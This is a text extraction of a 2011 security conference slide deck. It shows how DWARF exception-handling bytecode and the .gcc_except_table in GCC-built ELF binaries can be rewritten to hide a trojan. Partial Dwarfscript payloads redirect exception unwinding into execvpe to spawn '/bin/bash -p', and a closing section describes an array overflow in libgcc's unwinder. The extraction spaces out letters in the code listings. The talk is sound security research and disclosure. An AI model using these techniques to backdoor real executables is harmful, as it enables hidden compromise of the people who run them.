SlideShare a Scribd company logo
1 of 71
Download to read offline
Exploiting the Hard-Working DWARF
        Hackito Ergo Sum 2011


     James Oakley & Sergey Bratus

            Dartmouth College
                Trust Lab


             April 8, 2011
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
Executive Summary
      All GCC-compiled binaries that support exception handling
      include DWARF bytecode

          describes stack frame layout

          interpreted to unwind the stack after exception occurs

      Process image will include the interpreter of DWARF
      bytecode (part of the standard GNU C++ runtime)

      Bytecode can be written to have the interpreter perform
      almost any computation (“Turing-complete”), including any
      one library/system call.

      N.B. This is not about debugging: will work with stripped
      executables.
DWARF Abilities
      This allows slipping any trojan payload into ELF executables
      without native binary code.

      As far as we know, not detected by antivirus software (some
      more extensive testing needed).
DWARF power!
  DWARF bytecode is a complete programming environment that

      can read arbitrary process memory

      can perform arbitrary computations with values in registers
      and in memory

      is meant to influence the flow of the program

      knows where the gold is
Dastardly plan
        Dwarves make a great workforce

        Use dwarves to take over the world!

        Profit!

        Prior art:
             Norse epic: the end of the world [1]
             Alberich & the Ring of the Nibelung [2]
             Sauron & the Rings of Power [3]
   References:
   (1) Snorri Sturluson, ”The Elder Edda”, XIII A.D.
   (2) R. Wagner, ”Das Rheingold”, 1869
   (3) J.R.R. Tolkien, ”The Lord of the Rings”, 1954-1955
ELF and DWARF
  This is the story of ELF (Executable and Linking Format) and
  DWARF (Debugging With Attributed Records Format)
ELF Layout
    ELF Header
  Program Headers
   .init
   .plt
   .text
                       On Linux (and BSD, Mac OS X,
   .fini
   .eh_frame_hdr
                       and possibly some Solaris) an
   .eh_frame           executable binary file looks like
   .gcc_except_table   this on disk
   .dynamic            We are going to look at the
   .got                highlighted sections.
   .data
   .symtab
   .strtab
   Section Headers
That’s What It Looks Like
   james@electron]$ readelf --hex-dump=.eh_frame demo
   Hex dump of section '.eh_frame':
     0x00400db8 14000000 00000000 017a5200 01781001 .........zR..x..
     0x00400dc8 1b0c0708 90010000 1c000000 1c000000 ................
     0x00400dd8 dcfcffff 39000000 00410e10 4386020d ....9....A..C...
     0x00400de8 06558303 5f0c0708 1c000000 3c000000 .U.._.......<...
     0x00400df8 f5fcffff 5c000000 00410e10 4386020d ...._
                                                        ...A..C...
     0x00400e08 0602570c 07080000 1c000000 00000000 ..W.............
     0x00400e18 017a504c 52000178 100703a8 09400003 .zPLR..x.....@..
     0x00400e28 1b0c0708 90010000 24000000 24000000 ........$...$...
     0x00400e38 11fdffff 74000000 04fc0e40 00410e10 ....t......@.A..
     0x00400e48 4386020d 06458303 026a0c07 08000000 C....E...j......
   .....
ELF Runtime (with Dwarves)
          Stack



           libc

          libgcc

        libstdc++

    .plt, .text, etc
    .eh_frame_hdr, eh_frame
    .gcc_except_table
    .data, etc
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
DEMO!
  See some dwarves in action.
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
Digging Deeper
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
Why You Should Be Interested
      An unexplored computational model in every C++ program
      (or program that links to a C++ library. Or anything that
      uses the gcc exception mechanism). ∴ potentially huge
      attack surface.

      As fresh vector it may pass unnoticed for a time.

      Plays entirely within “the rules”. Hard to protect against.

      At the very least, this is a fresh code-hiding vector. It is hard
      to detect.

      Exploiting an unexpectedly powerful computation model in a
      place nobody expects it.
What This Is and What It Is Not
      Is a new Turing-complete computational model most
      programmers don’t fully understand lurking in every C++
      program.

      Is a demonstrated trojan backdoor inserted in an area usually
      ignored.

      Is a released binary extraction and manipulation tool.

      Not a one-stop memory corruption . . . yet.

      Not SEH overwriting UNIX exceptions work differently.
The Fuzzy Feeling
      Exceptions on the fuzzy edge of what a system is “supposed”
      to do.

      The logic path that throws an exception shouldn’t be
      executed most of the time.

      Such areas often contain untested paths and unintended
      behaviours.

      (Almost) nobody touches DWARF.
The History of DWARF
      Designed as a debugging information format to replace
      STABS.

      Standardized at http://dwarfstd.org.

      Source line information, variable types, stack backtraces, etc.

      ELF sections .debug info, .debug line, .debug frame and
      more are all covered by the DWARF standard.

      .debug frame describes how to unwind the stack. How to
      restore each register in the previous call frame.
That Ax Hacks Exception Handling
      gcc, the Linux Standards Base, and the x86 64 ABI have
      adopted a format very similar to .debug frame for describing
      how to unwind the stack during exception handling. This is
      .eh frame.

      Not identical to DWARF specification

      Adds pointer encoding and defines certain language-specific
      data (allowed for by DWARF)

      See standards for more information.
          Some formats discussed are standardized under the Linux
          Standards Base

          Some under the x86 64 ABI.

          Some are at the whim of gcc maintainers.
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
Structure of .eh frame
        Conceptually, represents a table which for every address in
        program text describes how to set registers to restore the
        previous call frame.
    program counter (eip)     CFA       ebp        ebx         eax     return address
         0xf000f000         rsp+16   *(cfa-16)                            *(cfa-8)
         0xf000f001         rsp+16   *(cfa-16)                            *(cfa-8)
         0xf000f002         rbp+16   *(cfa-16)               eax=edi      *(cfa-8)
              .
              .                .
                               .         .
                                         .           .
                                                     .          .
                                                                .             .
                                                                              .
              .                .         .           .          .             .
         0xf000f00a         rbp+16   *(cfa-16)   *(cfa-24)   eax=edi      *(cfa-8)

        Canonical Frame Address (CFA). Address other addresses
        within the call frame can be relative to.
        Each row shows how the given text location can “return” to
        the previous frame.
Structure of .eh frame
       This table would be humongous
           Larger than the whole program!
           Blank columns
           Duplication

       Instead, the DWARF/eh frame is essentially data compression:
       bytecode to generate needed parts of the table.

       Bytecode is everything required to build the table, compute
       memory locations, and more.

       Portions of the table are built only as needed.
CIE and FDE Structure inside eh frame

            length

            CIE_id

            version

            augmentation (string)

            address_size

    CIE     segment_size              Shared information FDEs is stored
            code_alignment_factor     in Common Information Entity
            data_alignment_factor

            return_address_register
                                      (CIE).
            initial_instructions
                                      A Frame Description Entity (FDE)
            padding
                                      for each logical instruction block.
                                      The instructions in the FDE
               length

               CIE_pointer
                                      contain DWARF bytecode.
               initial_location

      FDE      address_range

               LSDA pointer

               instructions

               padding
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
DWARF - The Other Assembly
     DWARF Expressions function essentially like an embedded
     assembly language — in a place where few expect it.

     Turing-complete stack-based machine. Computation works
     like an RPN calculator.

     Can dereference memory and access values in machine
     registers.

     There are limitations:
         No side effects (i.e. no writing to registers or memory)
         Current gcc (4.5.2) limits the computation stack to 64 words.
DWARF Instructions Sample
      DW CFA set loc N
      Following instructions only apply to instructions N bytes from
      the start of the procedure.

      DW CFA def cfa R OFF
      The CFA is calculated from the given register R and offset
      OFF

      DW CFA offset R OFF
      Register R is restored to the value stored at OFF from the
      CFA.

      DW CFA register R1 R2
      Register R1 is restored to the contents of register R2.
DWARF Instructions
       Remember the virtual table.

       Every register assigned a DWARF register number. Register
       number mappings are architecture-specific.

       DWARF instruction defines rule for a column of or advances
       the row (text location)

       Within an FDE, rows inherit from rows for instructions above
       them.
   program counter (eip)     CFA       ebp        ebx         eax     return address
        0xf000f000         rsp+16   *(cfa-16)                            *(cfa-8)
        0xf000f001         rsp+16   *(cfa-16)                            *(cfa-8)
        0xf000f002         rbp+16   *(cfa-16)               eax=edi      *(cfa-8)
             .
             .                .
                              .         .
                                        .           .
                                                    .          .
                                                               .             .
                                                                             .
             .                .         .           .          .             .
        0xf000f00a         rbp+16   *(cfa-16)   *(cfa-24)   eax=edi      *(cfa-8)
DWARF Expressions
     DWARF designers could not anticipate all unwinding
     mechanisms any system might use. Therefore, they built in
     flexibility. . .
         DW CFA expression R EXPRESSION R restored to value
         stored at result of EXPRESSION.
         DW CFA val expression R EXPRESSION R restored to result
         of EXPRESSION
     Expressions have their own set of instructions, including
         Constant values: DW OP constu, DW OP const8s, etc.
         Arithmetic: DW OP plus, DW OP mul, DW OP and,
         DW OP xor, etc.
         Memory dereference: DW OP deref
         Register contents: DW OP bregx
         Control flow: DW OP le, DW OP skip, DW OP bra, etc
CIE and FDE Structure
                                     Important Data Members
           length
                                        initial location and address range:
           CIE_id                       Together determine instructions
           version
                                        this FDE applies to.
           augmentation (string)

           address_size                  augmentation: Specifies
   CIE     segment_size

           code_alignment_factor
                                         platform/language specific
           data_alignment_factor         additions to the CIE/FDE
           return_address_register       information.
           initial_instructions

           padding                       return address register: Number of
                                         a column in the virtual table which
              length
                                         will hold the text location to return
              CIE_pointer                to (i.e. set eip to).
              initial_location

     FDE      address_range
                                         instructions: Here is where the
              LSDA pointer               table rules are encoded. DWARF
              instructions

              padding
                                         has its own embedded language to
                                         describe the virtual table . . . .
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
Understanding?
   DWARF information in .eh frame does not live in some nice text
   format.

   What part of

   Hex dump of section '.eh_frame':
     0x00400db8 14000000 00000000 017a5200   01781001   .........zR..x..
     0x00400dc8 1b0c0708 90010000 1c000000   1c000000   ................
     0x00400dd8 dcfcffff 39000000 00410e10   4386020d   ....9....A..C...
     0x00400de8 06558303 5f0c0708 1c000000   3c000000   .U.._.......<...
     0x00400df8 f5fcffff 5c000000 00410e10   4386020d   ........A..C...
     0x00400e08 0602570c 07080000 1c000000   00000000   ..W.............
     0x00400e18 017a504c 52000178 100703a8   09400003   .zPLR..x.....@..
     0x00400e28 1b0c0708 90010000 24000000   24000000   ........$...$...
     0x00400e38 11fdffff 74000000 04fc0e40   00410e10   ....t......@.A..
     0x00400e48 4386020d 06458303 026a0c07   08000000   C....E...j......
   .....


   don’t you understand?
With Existing Tools

   [james@neutrino exec]$readelf --debug-dump=frames exec
     Contents of the .eh_frame section:

     00000000 00000014 00000000 CIE
     Version:               1
     Augmentation:          "zR"
     Code alignment factor: 1
     Data alignment factor: -8
     Return address column: 16
     Augmentation data:     1b

     DW_CFA_def_cfa: r7 (rsp) ofs 8
     DW_CFA_offset: r16 (rip) at cfa-8
     DW_CFA_nop
     DW_CFA_nop

     00000018 0000001c 0000001c FDE cie=00000000 pc=00400ab4..00400aed
     DW_CFA_advance_loc: 1 to 00400ab5
     DW_CFA_def_cfa_offset: 16
     DW_CFA_advance_loc: 3 to 00400ab8
     DW_CFA_offset: r6 (rbp) at cfa-16
     DW_CFA_def_cfa_register: r6 (rbp)
     DW_CFA_advance_loc: 21 to 00400acd
     DW_CFA_offset: r3 (rbx) at cfa-24
     DW_CFA_advance_loc: 31 to 00400aec



   (or objdump or dwarfdump)
   But this doesn’t let us modify anything.
Introducing Katana and Dwarfscript
       katana is an ELF-modification shell/tool we developed.
       http://katana.nongnu.org

       ELF manipulation inspired by elfsh from the ERESI project.

       Dwarfscript is an assembly language that katana can emit . . .

   [james@neutrino example1]$katana
   > $e=load "demo"
   Loaded ELF "demo"
   > dwarfscript emit ".eh_frame" $e "demo.dws"
   Wrote dwarfscript to demo.dws
An Assembly for Dwarfscript
      . . . and katana includes an assembler for

      [james@neutrino example1]$katana
      > $e=load "demo"
      Loaded ELF "demo"
      > $ehframe=dwarfscript compile "demo.dws"
      > replace section $e ".eh_frame" $ehframe[0]
      Replaced section ".eh_frame"
      > save $e "demo_rebuilt"
      Saved ELF object to "demo_rebuilt"
      > !chmod +x demo_rebuilt
Dwarfscript Example

 b e g i n CIE
                                             We can modify all of these
     index : 1                                  CIE/FDE structures and
     version : 1                                DWARF instructions. We
     d a t a a l i g n : −8
     code align : 1                             then compile the dwarfscript
     r e t u r n a d d r r u l e : 16           back into binary DWARF
     f d e p t r e n c : DW EH PE sdata4 , DW EH PE pcrel
     b e g i n INSTRUCTIONS                     information in an ELF
         DW CFA def cfa r 7 8                   section using Katana.
         DW CFA offset r 1 6 1
    end INSTRUCTIONS
 end CIE
 b e g i n FDE
     index : 0
     cie index : 0
     i n i t i a l l o c a t i o n : 0 x400824
     a d d r e s s r a n g e : 0 xb9
     l s d a p o i n t e r : 0 x400ab4
     b e g i n INSTRUCTIONS
       DW CFA advance loc 1
       D W C F A d e f c f a o f f s e t 16
       DW CFA advance loc 3
       DW CFA offset r 6 2
       DW CFA def cfa register r6
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
So What Can We Do With This?
     View and modify the unwind table instructions in a
     human-readable form.
     Control the path of unwinding (i.e. how the call stack is
     walked).
     w/o DWARF Expressions we could bypass one exception
     handler in favour of another (if we knew how far apart their
     call frames were). For example, if an FDE has the (very
     common) instructions
             DW CFA def cfa register r6
             DW CFA offset r 1 6 1
     We modify this to (arbitrarily assuming 5 words in the call
     frame, adjust as appropriate)
             DW CFA def cfa register r6
             DW CFA offset r 1 6 6
What Else Can We Do?
     With DWARF Expressions we can do so much!

     Redirect exceptions.

     Find functions/resolve symbols.

     Calculate relocations.
Example
     Suppose function foo handles some thrown exception

     We want function bar to handle it instead

     From static analysis, we see bar lives at 0x600DF00D

     In the instructions for the FDE corresponding to foo we
     change
               DW CFA offset r 1 6 1
     to
              DW CFA val expression r16
              b e g i n EXPRESSION
              DW OP constu 0x600DF00D
              end EXPRESSION
I Want To Do More!
      OK. So we can set registers and redirect unwinding.

      But how do we exit the unwinder? We found a function we
      want to stop at!


      Control of .eh frame alone is not enough. We still are only
      able to land in catch blocks.


      The DWARF standard doesn’t cover when to stop unwinding.


      Neither does the x86 64 ABI.


      Neither does the Linux Standards Base.
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
.gcc except table
      [james@neutrino example1]$readelf -S   demo
      ...
      [16] .eh_frame_hdr     PROGBITS            00000000004009e8 000009e8
      0000000000000024 0000000000000000      A        0     0    4
      [17] .eh_frame         PROGBITS            0000000000400a10 00000a10
      00000000000000a4 0000000000000000      A        0     0    8
      [18] .gcc_except_table PROGBITS            0000000000400ab4 00000ab4
      0000000000000024 0000000000000000      A        0     0    4
      ...




   We know .eh frame now. Ever wondered what you could do with
   .gcc except table?
.gcc except table
       Holds “language specific data” i.e. information about where
       exception handlers live.

       Interpreted by the personality routine.

       Controls allows us to stop exception unwinding/propagation
       at any point.

       Unlike .eh frame, .gcc except table is not governed by
       any standard.

       Almost no documentation. What documentation there is
       resides mostly in verbose assembly generated by gcc.
.gcc except table Assembly Generated by GCC
   The following assembly is generated by passing the flags
   --save-temps -fverbose-asm -dA to gcc when compiling.
    .section .gcc_except_table,"a",@progbits
    .align 4
  .LLSDA963:
    .byte 0xff # @LPStart format (omit)
    .byte 0x3 # @TType format (udata4)
    .uleb128 .LLSDATT963−.LLSDATTD963 # @TType base offset
  .LLSDATTD963:
    .byte 0x1 # call−site format (uleb128)
    .uleb128 .LLSDACSE963−.LLSDACSB963 # Call−site table length
  .LLSDACSB963:
    .uleb128 .LEHB0−.LFB963 # region 0 start
    .uleb128 .LEHE0−.LEHB0 # length
    .uleb128 .L6−.LFB963 # landing pad
    .uleb128 0x1 # action
    .uleb128 .LEHB1−.LFB963 # region 1 start
    .uleb128 .LEHE1−.LEHB1 # length
    .uleb128 0x0 # landing pad
    .uleb128 0x0 # action
    .uleb128 .LEHB2−.LFB963 # region 2 start
    .uleb128 .LEHE2−.LEHB2 # length
    .uleb128 .L7−.LFB963 # landing pad
    .uleb128 0x0 # action
  .LLSDACSE963:
    .byte 0x1 # Action record table
    .byte 0x0
    .align 4
    .long _ZTIi
.gcc except table Layout
                                          LPStart encoding

                                                LPStart

                                            TType format
   gcc_except_table                                TTBase
   a collection of
   language-specific
   data areas (LSDAs)
                        LSDA               Call Site format

                                          Call Site table size
      LSDA 0               Header

                        Call Site Table   Call Site Record 0      call site position
      LSDA 1
                         Action Table     Call Site Record 1       call site length
         ...
                         Type Table                  ...         landing pad position
      LSDA n
                                          Call Site Record n         first action


                                          action 0                    type filter

                                          action 1               offset to next action

      Arrows indicate                        ...

      expansion for a closer              action n

      look                                typeid 0

                                          typeid 1

                                              ...

                                          typeid n
.gcc except table Dwarfscript
   An LSDA can be represented in dwarfscript. For example, the
   LSDA gcc generates for this snippet.
   #i n c l u d e <c s t d i o >

   i n t main ( i n t a r g c , c h a r ∗∗ a r g v )
   {
       try
       {
         throw 1 ;
       }
       catch ( i n t a )
       {
         p r i n t f ( ” Caught an i n t n” ) ;
       }
       catch ( char ∗ c )
       {
         p r i n t f ( ” Caught a c h a r n” ) ;
       }
   }

   is as shown on the next slide
.gcc except table Dwarfscript
   #LSDA 0
   begin LSDA
   lpstart: 0x0
   #call site 0               This is where the call site in .text begins,
   begin CALL_SITE            relative to the beginning of the function.
   position: 0x30
   length: 0x5                This is how long in bytes the call site is.
   landing_pad: 0x67          Where in .text execution is transfered to,
   has_action: true           relative to the beginning of the function.
   first_action: 0
   end CALL_SITE              Index into the Action Table
   #call site 1
   begin CALL_SITE
   position: 0x4f
   length: 0x2c
   landing_pad: 0x0
   has_action: false          No actions, unwinding will continue
   end CALL_SITE
   Boring call sites elided
   #action 0
   begin ACTION               Idx in Type Table of a type this handler
   type_idx: 0                can deal with.
   next: 1                    Idx of next action in chain.
   end ACTION
   #action 1
   begin ACTION
   type_idx: 1
   next: none
   end ACTION
   #type entry 0
   typeinfo: 0x600d80         Language-specific type identifier
   #type entry 1
   typeinfo: 0x600d60
   end LSDA
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
Exception Handling Flow
                      __cxa_allocate_exception
                            in libstdc++
   User Code throws
                           __cxa_throw           _Unwind_RaiseException
                           in libstdc++                 in libgcc              __gxx_personality_v0
                                                                                   in libstdc++
                                                    unwind one frame
                                                                             read language specific data
                                                  call personality routine
                                                    if no handler, loop
                                                                                    User Code
                                                    return into handler             catch block
                                                                                                           __cxa_begin_catch
                                                                                    bookkeeping               in libstdc++
                                                                                   handler body
                                                                                    bookkeeping            __cxa_end_catch
                                                                                                             in libstdc++
                                                                                execution continues



          Most of this interface is standardized by ABI. The personality
          routine is language and implementation specific.

          How does libgcc know how to unwind?

          How is an exception handler recognized?
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
What Can We Do With This?
     Backdoor a program that performs normally . . .

     . . . until an exception is thrown.

     Return from an exception anywhere in the program with
     control over most of the registers (including the
     frame-pointer).

     Modify no “executable” or normal program data sections.
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
How the Demo Worked
  #i n c l u d e < s t d i o . h>
  #i n c l u d e < s t r i n g . h>
  #i n c l u d e < s t d l i b . h>
  void sayHello ()
  {
      p r i n t f ( ” Hi shmoocon n” ) ;
  }
  v o i d sayGoodbye ( )
  {
      p r i n t f ( ”Oh , oh , I s e e ! Ru nn in g away , eh ? You y e l l o w b a s t a r d s ! Co
      exit (0);
  }
  v o i d sayComment ( )
  {
      p r i n t f ( ” W e l l t h i s i s b o r i n g s o f a r , i s n ' t i t ? n” ) ;
  }
  char b u f f e r [ 1 0 2 4 ] ;
  char ∗ getInput ()
  {
      fgets ( buffer ,1024 , stdin ) ;
      b u f f e r [ s t r l e n ( b u f f e r ) −1]=0; // k i l l t r a i l i n g n e w l i n e
      return buffer ;
  }
How the Demo Worked
  void doStuff ()
  {
      p r i n t f ( ” Say s o m e t h i n g n” ) ;
      while (1)
      {
         c h a r ∗ whatToDo=g e t I n p u t ( ) ;
          i f ( ! s t r c m p ( whatToDo , ” h e l l o ” ) )
         {
              sayHello ();
         }
          e l s e i f ( ! s t r c m p ( whatToDo , ” what ' s up ” ) )
         {
              sayComment ( ) ;
         }
          e l s e i f ( ! s t r c m p ( whatToDo , ” b ye ” ) )
         {
              sayGoodbye ( ) ;
         }
          else
         {
              t h r o w −1;
         }
      }
  }
  i n t main ( i n t a r g c , c h a r ∗∗ a r g v )
  {
      try
      {
          doStuff ( ) ;
      }
      catch ( i n t a )
      {
          p r i n t f ( ” U n e x p e c t e d i n p u t , c a u g h t c o d e %i n” , a ) ;
      }
  }
How the Demo Worked
     Return-to-libc attack.

     Utilized a dynamic-linker built in DWARF to find the location
     of execvpe

     Used DWARF to set up the stack.
Bring Your Own Linker
   Starting with the static address of the beginning of the linkmap, a
   DWARF expression can perform all the computations the dynamic
   linker does. The complete code is less than 200 bytes and uses less
   than 20 words of the computation stack.
     DW CFA val expression r6
     b e g i n EXPRESSION
     DW OP constu 0 x601218 #t h e a d d r e s s where we w i l l f i n d
     #t h e a d d r e s s o f t h e l i n k m a p . T h i s i s 8 more t h a n t h e
     #v a l u e o f PLTGOT i n . dynamic
     DW OP deref #d e r e f e r e n c e ab ov e
     DW OP lit5
     DW OP swap
     DW OP lit24
     DW OP plus
     DW OP deref
     .....
Jump to a Convenient Place
   We choose a specific offset into execvpe where we will be able to
   set up registers that DWARF lets us control.
   a074d :         4c   89   e2           mov     %r12 ,% r d x
   a0750 :         48   89   de           mov     %rbx ,% r s i
   a0753 :         4c   89   f7           mov     %r14 ,% r d i
   a0756 :         e8   35   f9 f f f f   callq   a0090 <e x e c v e >
Data for the Shell
   We inserted the name of the symbol we wanted (execvpe) and
   arguments to it into extra space in .gcc except table.
    [james@electron   demo]$hexdump -C shell.dat
    00000000 2f 62    69 6e 2f 62 61 73 68 00 2d 70 00 00 2c 0f   |/bin/bash.-p..,.|
    00000010 40 00    00 00 00 00 36 0f 40 00 00 00 00 00 00 00   |@.....6.@.......|
    00000020 00 00    00 00 00 00 65 78 65 63 76 70 65            |......execvpe|
    0000002d
Setting up Arguments
   These are the arguments to execve. Note that DWARF register
   r3 maps to rbx
     DW CFA val expression r14
     b e g i n EXPRESSION
     #s e t t o a d d r e s s o f / b i n / b a s h
     DW OP constu 0 x 4 0 0 f 2 c
     end EXPRESSION
     DW CFA val expression r3
     b e g i n EXPRESSION
     #s e t t o a d d r e s s o f a d d r e s s o f s t r i n g a r r a y −p
     DW OP constu 0 x 4 0 0 f 3 a
     end EXPRESSION
     DW CFA val expression r12
     b e g i n EXPRESSION
     #s e t t o NULL p o i n t e r
     DW OP constu 0
     end EXPRESSION
Return-to-Libc
      We have put arguments to execve into registers.

      We have located a place in execvpe that passes those
      registers to execve. Now we just need to get there.

      Can’t modify the .gcc except table for libc.

      Due to computations in libstdc++, all these computed
      register values will be on the stack.

      We point the stack pointer to just lower than our calculated
      address in execvpe

      Modify the landing pad in .gcc except table to return us
      right before a ret instruction.
Return-to-Libc




                       ...
                     execvpe
                   user program
                         libstdc++

   Now we get a shell!
Limitations
       Only caller-saved registers are restored.

       This makes entering a function with arbitrary arguments
       difficult.

       Limited space to work with in .eh frame. Pruning as a result.

       Difficult to debug.

       Assumptions specific to target system.
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
Corruption
      Everything we’ve discussed so far deals with valid ELF files,
      valid DWARF files, playing entirely within the rules that have
      been defined.

      What if our DWARF data violated assumptions made by
      gcc’s VM?

      What if we could corrupt a process to replace the exception
      handling data?
Fake EH
     How do libgcc/libstdc++ know where to find .eh frame
     anyway?
          .eh frame hdr points to .eh frame
          The location of .eh frame hdr is specified by the
          GNU EH FRAME program header which is retrieved via
          dl iterate phdr
          libgcc caches this value

     If we overwrite the cached value (after an exception has been
     thrown) we can at runtime inject arbitrary DWARF code run
     when the next exception is thrown.

     The data injection is nontrivial. libgcc exports no data
     symbols.

     After an exception is thrown and handled, addresses of text
     locations in libgcc will exist below the stack (i.e. in
     “unused” areas).
Crafted DWARF Instructions
      DW CFA offset extended and some other instructions are
      vulnerable to array overflow. From gcc/unwind-dw2.c:
      case DW CFA offset extended :
        i n s n p t r = r e a d u l e b 1 2 8 ( i n s n p t r , &r e g ) ;
        i n s n p t r = r e a d u l e b 1 2 8 ( i n s n p t r , &utmp ) ;
        o f f s e t = ( Unwind Sword ) utmp ∗ f s −>d a t a a l i g n ;
        f s −>r e g s . r e g [ DWARF REG TO UNWIND COLUMN ( r e g ) ] . how
            = REG SAVED OFFSET ;
        f s −>r e g s . r e g [ DWARF REG TO UNWIND COLUMN ( r e g ) ] . l o c .
        break ;

      We can achieve fairly arbitrary writes to the stack with crafted
      Dwarfscript.
Outline
   Executive Summary
   Demo
   Let’s Dig Deeper
       Why We Care: Exceptions
       DWARF eh frame
       DWARF Bytecode, Instructions, Expressions
       Our Dwarfscript and its Assembler
   Hijacking Exceptions
       GCC Exception Table
       How Exception Handling Works
       What Dwarfscript Can Do With It
       How the Demo Worked
   Corruption
   Conclusions
The Road Goes Ever On And On
      What has been demonstrated so far is a trojan technique, but
      there are additional paths forward.

      For older gcc versions, .eh frame and .gcc except table
      writeable at runtime in PIC code.

      Further develop fake .eh frame insertion as an alternative to
      ROP.
Inspirations
   We owe a debt of thanks to many other projects and articles which
   have inspired us. Among these are:
       elfsh and the ERESI project.


       The Grugq. Cheating the ELF


       Nergal. The advanced return-into-lib(c) exploits: PaX case
       study


       Skape. LOCREATE. For showing the power of overlooked
       automata.
Further Reading
      Slides and code will be made available at
       http://cs.dartmouth.edu/~electron/dwarf

      There are ELFs and DWARFs but no ORCs (yet anyway)

      Further Reading
          The   DWARF Standard http://dwarfstd.org
          The   x86 64 ABI (or the relevant ABI for your platform)
          The   Linux Standards Base
          The   gcc source code and mailing lists



                       Questions?

More Related Content

What's hot

What's hot (16)

Java Programming Guide Quick Reference
Java Programming Guide Quick ReferenceJava Programming Guide Quick Reference
Java Programming Guide Quick Reference
 
JRuby, Not Just For Hard-Headed Pragmatists Anymore
JRuby, Not Just For Hard-Headed Pragmatists AnymoreJRuby, Not Just For Hard-Headed Pragmatists Anymore
JRuby, Not Just For Hard-Headed Pragmatists Anymore
 
Quiz 9
Quiz 9Quiz 9
Quiz 9
 
Chtp414
Chtp414Chtp414
Chtp414
 
[C++] The Curiously Recurring Template Pattern: Static Polymorphsim and Expre...
[C++] The Curiously Recurring Template Pattern: Static Polymorphsim and Expre...[C++] The Curiously Recurring Template Pattern: Static Polymorphsim and Expre...
[C++] The Curiously Recurring Template Pattern: Static Polymorphsim and Expre...
 
Assembler (2)
Assembler (2)Assembler (2)
Assembler (2)
 
C++11: Rvalue References, Move Semantics, Perfect Forwarding
C++11: Rvalue References, Move Semantics, Perfect ForwardingC++11: Rvalue References, Move Semantics, Perfect Forwarding
C++11: Rvalue References, Move Semantics, Perfect Forwarding
 
Where destructors meet threads
Where destructors meet threadsWhere destructors meet threads
Where destructors meet threads
 
Assembler
AssemblerAssembler
Assembler
 
Common mistakes in C programming
Common mistakes in C programmingCommon mistakes in C programming
Common mistakes in C programming
 
Assembler
AssemblerAssembler
Assembler
 
Pydiomatic
PydiomaticPydiomatic
Pydiomatic
 
Structures-2
Structures-2Structures-2
Structures-2
 
C interview questions
C interview questionsC interview questions
C interview questions
 
Virtual Machine Constructions for Dummies
Virtual Machine Constructions for DummiesVirtual Machine Constructions for Dummies
